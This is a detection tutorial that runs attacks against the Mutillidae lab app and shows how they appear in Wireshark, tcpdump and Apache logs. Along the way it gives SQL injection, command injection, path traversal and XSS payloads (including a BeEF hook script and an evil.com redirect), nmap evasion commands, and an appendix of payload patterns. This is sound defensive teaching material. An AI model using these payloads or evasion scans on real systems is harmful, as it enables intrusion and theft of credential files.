How to identify malicious HTTP Requests
BeEF = The Browser Exploitation Framework, a penetration testing tool that focuses on the web browser.
Brute force = an automated process of trial and error used to guess login credentials and gain access to the application.
CSRF = Cross-Site Request Forgery is an attack which forces the user to execute arbitrary actions in the web application while he is authenticated. With a successful CSRF attack it is possible to compromise the whole application.
DNS = Domain Name System
Interception proxy = A tool that allows to intercept and modify traffic between the browser and the target application.
Path traversal = a technique used to inject malicious input into web applications and retrieve files beyond the document root directory
SamuraiWTF = Live linux environment for web pen-testing. Contains numerous open source and free tools that can be used for testing and attacking web sites.
SQL = Structured Query Language
SQL injection = attack used to exploit web applications back end database with arbitrary sql input
Tcpdump = a command-line packet analyzer
URL = Uniform Resource Locator
Whois = query and response protocol for searching domain names and IP addresses
Wireshark = network protocol analyzer
XAMPP = Apache distribution containing MySQL, PHP and Perl
XSS = Cross Site Scripting is a type of attack, in which malicious scripts are injected
into a web site. The malicious script can access cookies, session information or other sensitive user-related information. ”Cross-Site Scripting” originally referred to the act of loading the attacked, third-party web application from an unrelated attack site, in a manner that executes a fragment of JavaScript prepared by the attacker.
Hypertext transfer protocol (HTTP) is a stateless protocol and it uses a message-based model. Basically, a client sends a request message and the server returns a response message.
When attacking a web application the payload is sent in the request message. There are different possibilities to do this; using dangerous HTTP methods, modifying the request parameters or sending other malicious traffic.
HTTP methods are functions that a web server provides to process a request.
GET is most commonly used to retrieve a resource from a web server. It will send the parameters directly in the URL query string.
POST method is used to perform actions and allows the data to be sent also in the body of the message.
Both of these methods are interesting for an attacker when it comes to injecting malicious content.
Injecting the request parameters and headers with arbitrary input is not the only way to attack the web application. There are also different methods, such as mapping and discovery.
The mapping phase consists of several components, such as port scanning, OS fingerprinting and spidering.
Discovery is the phase that explicitly sends ”malicious” traffic to target system. It should be also noted that some aggressive mapping (e.g. port scanning) is considered malicious.
As the application is being targeted or has been defaced, it is up to the audit logs to contain any valuable information about the intrusion attempts. With effective audit logs it can be possible to identify exactly what type of attack has taken in place.
2. Testing Environment
Target: A free open source web application that contains OWASP Top 10 vulnerabilities.
VM Machine download:
https://www.owasp.org/index.php/OWASP_Vulnerable_Web_Applications_Directory_Project#tab=Main
Mutillidae will be used as a target when sending malicious HTTP requests from the SamuraiWTF virtual machine.
https://www.owasp.org/index.php/OWASP_Mutillidae_2_Project
Attacker : A VM which will have latest Samurai Web Testing Framework 0.9.9 version with updated version of tools
http://samurai.inguardians.com/
http://www.samurai-wtf.org/
Tools using: SamuraiWTF And Mutillidae
To analyze packets and capturing the malicious traffic tcpdump and wireshark will be
installed. Also apache access logs are analyzed to identify any malicious activity.
[
Browser Cookies are text files retained on computers by browsers containing various information in regards to a specific website visit. Another way to think of this is that a cookie is a message given to a web browser from a web server that is then sent back to the web server whenever the browser requests a page from it. ]
3. Overview of HTTP messages
Hypertext Transfer Protocol (HTTP) is an application-level protocol that was first used to retrieve only static-based resources.
HTTP is a stateless protocol. Basically a client sends a request message to the server and then it returns a response message back to the client. Each of these transactions are autonomous and may use a different TCP connection.
Basic knowledge about the HTTP messages is needed when exploiting web applications.
When sending malicious requests to the application, most commonly headers like the method, user agent and cookie are fiddled. There are also a huge variety of input-based vulnerabilities. These attacks involve submitting arbitrary input either to the URL parameters or into the HTTP payload. For example, SQL injection and Crosssite scripting fall into this category.
The GET method is used to request a web page and it also passes any parameters in the URL field. Also the user-agent field is sent for identifying the client.
GET /mutillidae/ HTTP/1.1
Host: 172.16.40.132
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.11)
Gecko/20101013 Ubuntu/9.04 (jaunty) Firefox/3.6.11
Accept: text/html,application/xhtml+xml,application/xml;
Accept-Language: en-US
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;
Keep-Alive: 115
Connection: keep-alive
Cookie: showhints=0; PHPSESSID=60kmpkstt1mcnpps5jppflkgjo
Above: HTTP Request message
The server responds with the status code and message. The server also sends a date header and optionally other headers like server and in this case a logged-in-user which may disclose sensitive information regarding the server, installed modules and the end user.
HTTP/1.1 200 OK
Date: Sat, 28 Jul 2012 14:20:58 GMT
Server: Apache/2.4.2 (Unix) OpenSSL/1.0.1c PHP/5.4.4
X-Powered-By: PHP/5.4.4
Logged-In-User:
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html
<!DOCTYPE HTML PUBLIC ”-//W3C//DTD HTML 4.01
Transitional//EN” ”http://www.w3.org/TR/1999/REC-html401-
19991224/loose.dtd”>
<html>
Above: HTTP Response message
3.1 HTTP Methods
Links:
https://www.owasp.org/index.php/Test_HTTP_Methods_(OTG-CONFIG-006)
These methods are GET, POST,HEAD, PUT, DELETE, TRACE, OPTIONS and CONNECT. It should be noted that not all methods are implemented by every server. For servers to be compliant with HTTP 1.1 they must implement at least the GET and HEAD methods for its resources. There really is not any ”safe” methods as most of these methods can be used when targeting a web application.
The GET and POST are used to request a web page and are the two most common being used in HTTP.
The downside of GET is that it passes any parameters via the URL and is easy to manipulate. It is recommended to use POST for requests because the parameters are sent in the HTTP payload.
HEAD works exactly like GET, but the server returns only the headers in the response.
The OPTIONS method asks the server which methods are supported in the web server. This provides a means for an attacker to determine which methods can be used for attacks.
The TRACE method allows client to see how its request looks when it finally makes it to the server.
Attacker can use this information to see any if any changes is made to the request by firewalls, proxies, gateways, or other applications.
The following methods, PUT and DELETE are the most dangerous ones as they can cause a significant security risk to the application.
The PUT method can be used to upload any kind of malicious data to the server.
The DELETE method on the other hand is used to remove any resources from the web server. This form of attack can be used to delete configuration files.
The CONNECT method can be used to create an HTTP tunnel for requests. If the attacker knows the resource, he can use this method to connect through a proxy and gain access to unrestricted resources.
3.1.1 Identifying dangerous use of HTTP methods
The OPTIONS method is being used to identify a malicious action against the web server. The incoming traffic is being analyzed to see if the HTTP methods can be identified from each other.
Below result shows that the OPTIONS method has been used and this can be marked as a malicious action against the web server.
172.16.40.133 - - [29/Jul/2012:09:01:10 +0300] ”OPTIONS /mutillidae/ HTTP/1.1” 200 25591
Above: Apache log markup for OPTIONS method
When looking at the wireshark and tcpdump output we can see that the OPTIONS method has its unique hexadecimal value that can be used to blacklist any dangerous use of HTTP methods. In addition to the hexadecimal value, when looking at the offset position we can see that the method is located at the 0x0040.
by checking all the HTTP methods, it is possible to separate each methods unique hexadecimal value.
3.2 User-Agent
RFC 2616 defines the web client as a ”user-agent”. When the client is requesting a web page, it is sending information about itself in a header named ”User-Agent”. This information typically identifies the browser, host operating system and language. Even though the user-agent is set correctly by default, it can be spoofed by the user. This makes it possible for example an attacker to retrieve web content designed for other browser types or even for other devices.
Also many different applications sends information within the user-agent header thus identifying for example malicious intentions. As the header information is completely controlled by the user, it makes it trivial for an attacker to fiddle with the information.
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.11) Gecko/20101013 Ubuntu/9.04 (jaunty) Firefox/3.6.11
Above: Example of a User-Agent header
Mozilla/5.0 signifies that the browser is compliant with the standards set by Netscape. Next is showed what kind of operating system the browser is running, which in this case is a Ubuntu 9.04 32-bit. Last string tells what version of Firefox is the client using.
Below we can see a tampered User-Agent header. This is just a basic way to spoof it. For example nmap offers a script to remove the string from the header. SQLmap has a option before starting an attack where the user-agent can be hidden. There’s also a complete list of user agent strings offered by User Agent String.com
Also a Firefox add-on called Tamper Data is great for spoofing data in input fields and header information. Figre 11 shows a picture of Tamper Data and all the different options to choose to insert into User-Agent header. It offers also options to inject SQL and XSS.
3.3 Cookies
Cookies are a key part of the HTTP protocol. Cookies enables the web server to send data to the client, which the client stores and resubmits to the server. Unlike the other request parameters, cookies are sent continuously in each subsequent request back to the server.
Cookies are also used to transmit a lot of sensitive data in web applications, mostly they are used to identify the user and remember the session state. The client cannot modify the cookie values directly, but with an interception proxy tool(Burp Suite,Fiddler) it makes it a trivial effort.
The following example shows how modifying the cookie information it gives the attacker access as someone else. In Figure 11, the attacker provides admin credentials in the login form.
Below pic shows that the login was successful and the cookie header and what values the admin user has in the site. For the admin user a uid value of 1 has been selected to identify the user and a PHPSESSID to remember the session state.
Now, the attacker changes the uid value to 2 and also the PHPSESSID to ”evil”. This way the attacker can see if he can get an access to the application as someone else and proof that the application is vulnerable to session state attacks.
Below pic shows, the application is indeed vulnerable and does not perform any checks and trusts the client completely. The attacker managed to get access to the application by another admin user, named adrian.
4. Bruteforce
Many web applications employ a login functionality, which presents a good opportunity for an attacker to exploit the login mechanism. The basic idea is that an attacker tries to guess usernames and passwords and thus gain unauthorized access to the application. Mostly brute-force attacks are done by using an automated tool with custom wordlists.
In below pic we can see what parameters are passed to the login.php, username and password. The following credentials will be used to create a brute-force attack with Burp Suite Intruder.
admin - password
admin - root
admin - admin
admin - qwerty
4.1 Identifying Bruteforce
We can see from the wireshark and tcpdump2 results that five POST requests was made in under 0.5 seconds to the login.php. This shows that some sort of automated tool has been used to make repeated login attempts against the application.
Also Burp Suite seems to change the port incrementally with each POST request as seen in the tcpdump output.
5. Spidering
When targeting an application it is important to know the structure of the application. This can be done through manual browsing or using an automated tool. Manual browsing can be very time consuming; it is necessary to walk through the application starting from the main initial page, following every link, and navigating through all functions, like registration and login. Some applications may have also a site map, which can help to enumerate the content.
5.1 Robots.txt
Many web servers also contain a file named robots.txt in the web root. It contains a list of files and directories that the site does not want web spiders to visit or search engines to index. In some cases it is possible to find sensitive information or functionality. In this example the attacker has requested the robots.txt file and found a directory called passwords, which contains all the usernames and passwords to the application.
5.2 Identifying Spidering
For comprehensive results about the application it is almost necessary to use an automated, more advanced technique. Downside for this technique is that it is more rigorous and identifiable. Some applications just requests many web pages in a short period of time.
As seen in the wireshark and tcpdump outputs and apache access log records, there’s over 10 different requests made under 1 second from the same address. This would be impossible to do with manual browsing. Also when using an automated tool the source port is changing incrementally.
Other point of interest we can see especially from the tcpdump output is that every request originates from a different port. Also we can see that the port numbers are growing incrementally and they are not in any random order. The apache access log also shows a lot of requests that have received a ”404 Not Found” response. The automated tool seems to use some sort of wordlist to request most common directories from the web site.
6 Injection flaws
Most common are SQL injection, command injection and cross site scripting. In this type of flaws the attacker is able to inject content that the application uses. Basically the application is trusting the client and accepts its content without filtering or these filters can be bypassed.
6.1 SQL Injection
SQL injection vulnerabilities allows an attacker to control what query is run by the application. To successfully exploit a SQL injection vulnerability the attacker needs to have an understanding of SQL and database structures. It is possible for an attacker to create users, modify transactions, change records or even port scan the internal network and much more. Basically the possibilities are limitless.
For discovering SQL injection flaws any data related input that appears to be used in database interaction is the attack surface. One of the easiest way is just to introduce a common SQL delimiter, such as the single quote ’. If the application breaks or produces a error message or page then it is most likely vulnerable to SQL injection.
6.1.1 Identifying SQL Injection
The following input anything’ OR ’x’=’x is passed to exploit a SQL injection vulnerability in the mutillidae login form.
As the request was first captured with an interception proxy tool and then malicious input was introduced to mutillidae, we can see that it has not decoded the characters. Below we can see the username and password parameters that SQL injection exploit has been used.
There is not any other anomalies within the request. Only malicious data that has been sent to the target is within the POST body data.
We can see that the attack was successful since the attacker was redirected straight to index.php instead of login.php, also the cookie information shows that the attacker gained unauthorized access as an admin user.
Check for more SQL injection attack patterns and identify other kind of attacks, like numeral SQL injection and data modification. The attacks described provides only a small amount of possibilities that can be used to exploit this vulnerability.
6.1.2 Reading files with SQL injection
This section will demonstrate how to read files through SQL injection. The query will
use the UNION statement and the load_file() function.
The attacker inputs the following code:
’ union select null,LOAD_FILE(’../../../../../etc/passwd’),null,null,null --
Below pic shows that the mutillidae has decoded the ascii characters but still the attack was successful,
6.2 Cross Site Scripting
Cross Site Scripting (XSS) is also referred to as ”script injection”. It means that an attacker has the ability to inject malicious scripts into to the application and have a browser run it. There are two types of XSS; stored and reflective.
XSS vulnerabilities can be exploited multiple ways. Most typical attacks are for example reading cookies or redirecting a user into malicious site. Also modifying the content on a page, which gives an opportunity for the attacker to run any kind of custom code within the JavaScript language.
Discovering XSS vulnerabilities can be quite simple, using only a browser and injecting JavaScript into various input fields in the application. The simplest method is to just input the following code into any input field <script>alert(xss)</script> and see if the application will run the code.
6.2.1 Identifying XSS
The XSS vulnerability will be exploited in the add-to-your-blog.php section. The following code will be injected through TamperData to demonstrate this vulnerability.
<script>alert(‘hello’);</script>
When looking at the wireshark result from the XSS exploit we can see the same thing as already seen in the SQL injection section. Mutillidae does not provide any kind of encoding or filtering and in this case the exploit is easily recognized. All malicious data is within the POST body.
It is also possible that when performing a XSS attack the script tags will get decoded from ascii to hexadecimal format. If this is the case there are already software available, such as Suricata and Snort that are able to detect and transcode these characters. Below are cheat sheet for different kinds of XSS attacks.
6.3 Command Injection
Command injection is not as common in web applications as SQL injection. Unlike SQL injection where the attackers’ goal is to retrieve information from the backend database. In command injection the attacker inputs operating system commands through the web application. This type of attack can be very powerful if the application is vulnerable and especially then if the commands can be run with root privileges.
6.3.1 Identifying Command Injection
Below shows a basic and successful command injection attack where the target’s server password file is being requested. The following code was injected into the input field:
172.16.40.132 & cat /etc/passwd
The wireshark output shows that the slash marks have been decoded from ascii to hexadecimal format producing the following output:
172.16.40.132+cat+%2Fetc%2Fpasswd
The tcpdump output shows the same result as already seen with SQL injection and XSS, that all malicious content with injection flaws can be identified within the POST body data. If the request would have been made with a GET request then the arbitrary input would be located in the URL and apache access logs could also be used to verify the results.
7 Path Traversal
Path traversal vulnerabilities can be found when the application allows user-controllable data to interact with the filesystem. This allows the attacker to create arbitrary input and if the input is not properly sanitized the attacker can retrieve sensitive information from the server.
7.1 Identifying Path Traversal
The path traversal vulnerability will be exploited in the mutillidae text-file-viewer.php functionality. The attack is used to go up in the directories and retrieve the server’s user file. The attacker will request a file from the filesystem and inject the following value into the textfile parameter:
../../../../../../etc/passwd
Below we can see that the attack was successful and the attacker was able to retrieve the user file from the server. There are number of other techniques to exploit this vulnerability.
Looking at the wireshark result from the path traversal exploit we can see that the mutillidae does not provide any kind of filtering or sanitation to the user-supplied input and by this the application is vulnerable and easy to identify.
If the applications input filter does not accept the regular path traversal sequences, it is also possible to URL-encode the slashes and dots. As we already saw from the command injection where the application has URL encoded the characters, it is still vulnerable and the attacker successfully exploited the application.
8 Double Encoding
If the application implements security checks for user input and rejects malicious code injection, it is still possible to bypass the filters with techniques like single and double encoding. There are common character sets that are used in web application attacks; path traversal uses the “../” and XSS uses the “<“ , “/” and “>” characters.
There are some common characters that are used in different injection attacks. As already seen in the command injection attack some of the characters were represented with the % symbol. When it is encoded again, its representation in hexadecimal code is %25. Below table illustrates the possibilities for hexadecimal encoding and double encoding.
If the application refuses attacks like , with double-encoding the security check might be possible to bypass. The wireshark and tcpdump output shows an example string of what to look for in a malicious double encoded injection attack.
The table above shows the specific characters that should be checked in single or double encode attacks. As these are the most common character sets that are used to attack the application it is possible to reduce the risk of being exploited.
9 BeEF
The Browser Exploitation Framework is a penetration testing tool that focuses on the web browser. BeEF allows the attacker to focus on the payloads instead of how to get the attack to the client.The attacker can hook one or more web browsers and use them as targets to launch different exploits against them. BeEF allows for example port scanning, JavaScript injection, different browser exploits, clipboard stealing et cetera.
9.1 Identifying BeEF
In the following example the mutillidae machine will be hooked with BeEF. The attacker injected the following code in add-to-yourblog.php section. When the user views the blog entries on the mutillidae site, its browser will become a zombie and the attacker has complete control over it.
Below we can see what kind of traffic has resulted from the point where the victim became a zombie and was exploited.
It shows us that when the victim is hooked, its browser sends a GET request to the BeEF controller every five seconds. The number 8 packet shows the exploitation itself. Every BeEF attack has its own variable, called result_id, which changes every time an attack is conducted. After successful attack the zombie sends a return.php instead of command.php to the BeEF controller. After this it starts again to maintain the connection to the controller. Also the BeEF controller sets its own cookie to the client, called BeEFSession.
10 Unvalidated Redirects and Forwards
In an unvalidated redirect attack the application allows redirecting or forwarding its users to a third-party site or another site within the application. In this case the attacker links to unvalidated redirect and tricks the applications victims into clicking it. Since the forged URL looks like a valid site the victim is more likely to click it and sent into a malicious site.
10.1 Identifying Unvalidated Redirects and Forwards
In the following example Mutillidae offers a list of sites for its users to visit. When clicking a site in the list it takes a single parameter named forwardurl. In this case the attacker crafts a malicious URL that redirects users to a malicious site that can perform, for example phishing or installing malware.
Below pic shows us that the attacker has crafted a malicious URL and links its victims into www.evil.com. Mutillidae does not perform any validation for the input and any kind of destination can be used. For example, the attacker could redirect its victim into a site that has a BeEF hook already placed and hook the victim and take control over its browser.
11 Cross Site Request Forgery
Cross-Site Request Forgery (CSRF) is similar to XSS. The difference is that it does not require to inject malicious scripts into the web application. Instead an attacker can create a malicious web site, which holds a malicious script that will do actions behalf the targeted user. For CSRF attack to work it needs a targeted user with an active session and predictable transaction parameters. The attacker creates the script to the web site and if the targeted user opens the page while logged into the application, then the script will execute with his privileges and arbitrary actions will be carried out.
11.1 Identifying CSRF
CSRF vulnerabilities are harder to detect than XSS. It follows a four step process by first reviewing the application logic and finding functions that perform sensitive actions and have predictable parameters. If these are found in the application then the next step is to create a page with the request and have a victim to access this page while logged in to the application.
In the following example the attacker has created a CSRF attack against the users in Mutillidae. Below fig shows that the attacker has injected the following script into the application.
It creates a blog post with a string ”Cross-site request forgery”. The onmouseover variable is for when the victim moves the pointer top of the CSRF blog post it creates a new post without the victim knowing about it. Only thing the victim’s browser will do is refresh the page.
Other interesting values are also stored in the hidden form fields. We can see that a csrf-token parameter is given with a value ”106424”. This is for blocking this kind of attack. The value of the form field is changed into ”best-guess”, to see if the server processes the request.
When the victim browses into the blog section and moves its mouse over to the ”Cross-site request forgery” post a new post was made and no other checks were made to the csrf-token.
In this case there was a way to block the possible CSRF vulnerabilities, but it was not efficient enough since no validation for the token value was not made. Using hidden form fields makes the application trust the client completely, which should be never done.
Nmap
There are few anomalies we can separate to identify that this is actually a port scan that has been made. First we look at the timestamps of each TCP request. It shows us that under 0.1 seconds, 10 TCP SYN requests has been made. Nmap also seems to change the source port in every request against the target. If one of the ports are open in the target machine a packet with RST and ACK flags is sent and the connection to the port is closed immediately. It also shows that a typical packet size from nmap seems to be 74 bytes.
In this case it shows that at least ftp(21), http(80), https(443) and mysql(3306) ports are open.
Source port number specification
Below the attacker has used the following: nmap --source-port 53 172.16.40.132
Here the packet size is 60 and and if a port is open in the target the connection will be closed by sending a packet with RST flag.
Cloak a scan with decoys
Nmap has also a technique that allows the attacker to specify a number of hosts that are scanning the host. The IDS will show all the decoy addresses and the attackers ip address doing port scan, but they won’t know which IP was scanning them and which were innocen decoys. According to nmap it is an effective technique for hiding own IP address while port scanning.
nmap -D 192.168.1.10,172.45.24.164,172.16.40.134 -p21,80-100,443,3306 172.16.40.132
In this case we can see the three decoy addresses and the attackers ip address (172.16.40.133). The results are similar to the previous scans except in this case we can see that only the attacker’s ip address has received the RST and ACK flags and thus reveals where the scan originates.
Fragment packets
It is also possible to use tiny fragmented IP packets. Nmap splits up the TCP header over several packets to make it harder to detect by IDS’ or firewalls. There are two options in nmap; using the -f option, which splits the packet up to 8-bytes, or using --mtu when the offset must be a multiple of eight (8,16,24,32 etc).
The results shows that nmap is fragmenting the packets and the target host is responding with RST flag if the port is open. The differences we can see between these two is the fragmented packet size.
Below result shows that the nmap is sending packets 8-bytes size with the following command:
nmap -f 172.16.40.132
Also we can see the user-specified fragmentation which was done with:
nmap --mtu 16 172.16.40.132
Sending bad checksums
By sending packets to the target with bad checksum may reveal additional information about the server if it’s not properly configured. This technique is also used to avoid firewall. We can see that all the SYN packets has a bad checksum value and the target is not reporting any open ports to the attacker. The scan can be made with command: nmap --badsum 172.16.40.132
Append random data
Firewalls are usually configured to inspect packets by looking at their size in order to identify a possible port scan. As most scanners are sending packets that have specific size. Nmap offers a technique to avoid this kind of detection. With --data-length it is possible to add additional data and sending packets with different size than the default. In below fig the attacker has changed the packet size by adding 25 more bytes. This would tell us that the actual packet size that nmap sends is instead 58 bytes and not 74 bytes.
Using timerate
As there are a lot of options, from timestamps, ip source addresses and packet sizes to identify and block port scanning all of these can be somehow bypass. If the IDS or firewall just checks the timestamp ratio of each request the attacker can use the following nmap command:
nmap --max-rate 1 172.16.40.132
This creates a small, one second, time interval for each scan request. This is also a good technique to be more stealthy as the scan requests can be separated even with minutes. Downside of this technique is that it can take very long time to complete.
Xmas scan
It is called a xmas tree scan since the FIN, PSH and URG packet flags are set. As of this the packet has so many flags turned on that it is often described as being ”lit up like a Christmas tree.” The xmas scan differs from a normal port scan as it does not have the SYN nor ACK flag set.
when scanning the target with xmas scan we can see that when the port is closed it responses with RST and ACK flags. Furthermore, if some of the ports are open and it is targeted with a xmas scan the packet is ignored. Here we can see that at least the mysql, ftp and http ports are open or filtered.
The most common web application security weaknesses are usually the failure to validate user input, implement proper access control and authentication mechanisms. Implementing effective security controls for a web application mitigates the risk being exploited and protects the confidentiality of its users.
The results show that malicious activity can be identified and even blocked. Possible security control mechanisms could be IP address blocking and if possible, limit the amount of requests made to the application in a specific time interval. Also rule based data validation can be made to prevent injection flaws. As the attack patterns show, the attacks can be identified from each other by analysing log files and network traffic monitor information.
The attack vectors described here covers only some basic approaches. It would be impossible to revise all different attack patterns that can be used against web applications.
Here are described some other common attack patterns that are used in injection attacks, which can be used to identify if the application is being targeted by malicious user,
SQL Injection
1 OR 1=1
’ OR 1=1 --
” OR 1=1 --’
OR 1=1;
1 AND 1=1
x’ OR ’1’=’1
‘ OR 1 in (@@version)--
‘ UNION (select @@version) --
1 OR sleep(___TIME___)#
’ OR sleep(___TIME___)#
” OR sleep(___TIME___)#
1 or benchmark(10000000,MD5(1))#
’ or benchmark(10000000,MD5(1))#
” or benchmark(10000000,MD5(1))#
;waitfor delay '0:0:__TIME__'--
);waitfor delay '0:0:__TIME__'--
';waitfor delay '0:0:__TIME__'--
";waitfor delay '0:0:__TIME__'--
OR 1=1 ORDER BY table_name DESC
x’; UPDATE table SET value WHERE user=’x
1’; INSERT INTO table VALUES(‘value’,‘value’);--
101 AND (SELECT ASCII(SUBSTR(name,1,1)) FROM table WHERE foo=n)$ --
’ union select null,LOAD_FILE(’../../../../../etc/passwd’),null,null,null --
Cross-Site Scripting
"><script>alert(document.cookie)</script>
aaaa”><script>alert(1)</script>
<script>prompt(’1’)</script>
‘><script>alert(document.cookie)</script>
<script>alert(‘xss’);</script>
<scr<script>ipt>alert(xss)</scr</script>ipt>
<script><script>alert(1)</script>
<script language=”javascript”>window.location.href = ”beeftrap.html” ; </script>
<script src=”http://beefhook.js”></script>
<ScRiPt>alert(1)</ScRiPt>
<script>alert(1)</script>
<img onerror=alert(1) src=a>
Path Traversal
etc/passwd
/etc/passwd
../etc/passwd
../../etc/passwd
../../../etc/passwd
../../../../etc/passwd
../../../../boot/grub/grub.conf
../../../../../var/log
../../../../../etc/apache2/httpd.conf
..\..\..\../c/boot.ini
..\../..\../boot.ini
../../../../../../etc/shadow&=%3C%3C%3C%3C%3C
..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc%2Fpasswd
..%5c..%5c..%5c..%5c..%5c..%5cc/boot.ini
/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
References
Deuble, A. (2012) Detecting and Preventing Web Application Attacks with Security
Onion. Retrieved from:
Fielding, R., Gettys, J., Mogul, J., Frystyk, H., Masinter, L., Leach, P. & Berners-Lee, T.
Gourley, D., Totty, B., Sayer, M., Reddy, S. & Aggarwal, A. (2002) HTTP The
Definitive Guide. O’Reilly. California.
Museong, K. (2011) Penetration Testing Of A Web Application Using Dangerous HTTP
Stuttard, D. & Pinto, M. (2011) The Web Application Hacker’s Handbook. Finding and
Exploiting Security Flaws. Second Edition. Wiley. Indianapolis.
SANS Institute. (2010) Web App Penetration Testing and Ethical Hacking Courseware.
The OWASP Foundation. (2010) OWASP Top Ten Project.
http://www.cgisecurity.com/whitehat-mirror/WH-WhitePaper_XST_ebook.pdf
https://en.wikipedia.org/wiki/List_of_HTTP_header_fields
